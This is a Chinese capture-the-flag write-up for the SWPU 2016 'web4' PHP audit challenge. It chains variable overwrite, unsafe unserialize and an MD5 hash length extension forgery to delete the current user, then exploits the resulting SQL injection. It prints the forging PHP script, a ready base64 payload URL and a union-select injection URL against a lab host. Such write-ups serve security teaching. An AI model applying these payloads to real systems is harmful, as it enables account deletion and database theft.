2016-SWPU审计型web4题解(利用哈希扩展攻击)

1.看writeup都没复现好,后来看了聂师傅的csdn上的详细分析才理解和复现
首先是源码泄露http://10.10.52.68:23720/web.zip

然后就是审计了。因为我看了writeup,知道哪里有问题,所以直接看riji.php这个文件

   if (@$_SESSION['login'] !== 1)
{
    header('Location:/web/index.php');
    exit();
}
if($_SESSION['user'])
{
    $username = $_SESSION['user'];
  
    @mysql_conn();
    $sql = "select * from user where name='$username'";
    $result = @mysql_fetch_array(mysql_query($sql));
    mysql_close();
    if($result['userid'])
    {
        $id = intval($result['userid']);
    }
}

判断是否登录,如果没有登录,则跳到首页,如果登录了,也就是有$_SESSION['user'],然后执行

$sql = "select * from user where name='$username'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if($result['userid'])
{
    $id = intval($result['userid']);
}

正常情况下得到$result['userid']为真,然后intval,赋给$id,带入到下面的SQL语句

$sql1 = "select * from msg where userid= $id order by id";

一看就不能注入了,都特么intval了。那么如果$result['userid']为空呢,不就是不执行

$id = intval($result['userid']);

了吗!用户登录状态下,肯定是有SESSION的,也就是能过第一个if判断

if($_SESSION['user'])

之后,如果我们能删除当前的用户,那么

$sql = "select * from user where name='$username'";

则会查询为空,也就是$result['userid']会为空,那么就不会执行intval了,也就可以注入了
2.接下来重点就是删除当前的登录用户了
在common.php文件中

foreach(Array("_POST","_GET","_COOKIE") as $key){
foreach($$key as $k => $v){
    if(is_array($v)){
    die("hello,hacker!");
    }
    else{
        $k[0] !='_'?$$k = addslashes($v):$$k = "";
    }
}

}
可以看出是伪全局机制,在下面的利用中要用到
在api.php文件中的最后两行

$a = unserialize(base64_decode($api));
$a->do_method();

可以看到是base64解码然后反序列化,之后调用do_method()函数。
而利用变量覆盖$api就可控了,admin类也就可控了。跟一下代码

function do_method(){
    if($this->check() === 1){
        if($this->method === 'del_msg'){
            $this->del_msg();
        }
        elseif($this->method === 'del_user'){
            $this->del_user();
        }
        else{
            exit();
        }
    }
}

发现是可以删除用户的。不过进行了权限验证

if($this->check() === 1)

跟一下check函数

function check(){
    $username = addslashes($this->name);//进入数据库的数据进行转义
    @mysql_conn();
    $sql = "select * from user where name='$username'";
    $result = @mysql_fetch_array(mysql_query($sql));
    mysql_close();
    if(!empty($result)){
        //利用 salt 验证是否为该用户
        if($this->check === md5($result['salt'] . $this->data . $username)){
            echo '(=-=)!!';
            if($result['role'] == 1){//检查是否为admin用户
                return 1;
            }
            else{
                return 0;
            }
        }
        else{
            return 0;
        }
    }
    else{
        return 0;
    }
}

主要的验证在

if($this->check === md5($result['salt'] . $this->data . $username))

这种熟悉CTF的一眼就能看出是hash扩展攻击可以绕过,当然我看不出来-.-,hash length extension attack可以去看三叶草的师傅的文章。此处略过。找回密码处用户名填写admin,其他随意,会得到check值,解码得 024468e6ff80e4adce0f291eb2ecbc3c,我就直接上脚本了
QQ图片20170215163124.png
,然后构造一下$api

   <?php
class admin {
                  var $name="admin";
    var $check="1c57c75b02a07f92ba59245fd351b10c";   //要check的md5
    var $data="\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00";  //工具生成好的可控变量(payload)
        
                 
    var $method="del_user";   //要调用的函数
    var $userid="17";  //要删除的用户
    
       
}

$a=new admin();
 $api=base64_encode(serialize($a));
 echo $api;

其中$userid为要删除的用户id,可以在cookie中解码看到。

在一个浏览器中用户登录的情况下,再开一个浏览器访问

http://10.10.52.68:23720/api.php?api=Tzo1OiJhZG1pbiI6NTp7czo0OiJuYW1lIjtzOjU6ImFkbWluIjtzOjU6ImNoZWNrIjtzOjMyOiIxYzU3Yzc1YjAyYTA3ZjkyYmE1OTI0NWZkMzUxYjEwYyI7czo0OiJkYXRhIjtzOjQ4OiKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAiO3M6NjoibWV0aG9kIjtzOjg6ImRlbF91c2VyIjtzOjY6InVzZXJpZCI7czoyOiIxNyI7fQ==

就可以删除用户了,再在原来的登录用户直接union注入即可

http://10.10.52.68:23720/riji.php?id=1%20union%20select%201,2,flag%20from%20flag--%20-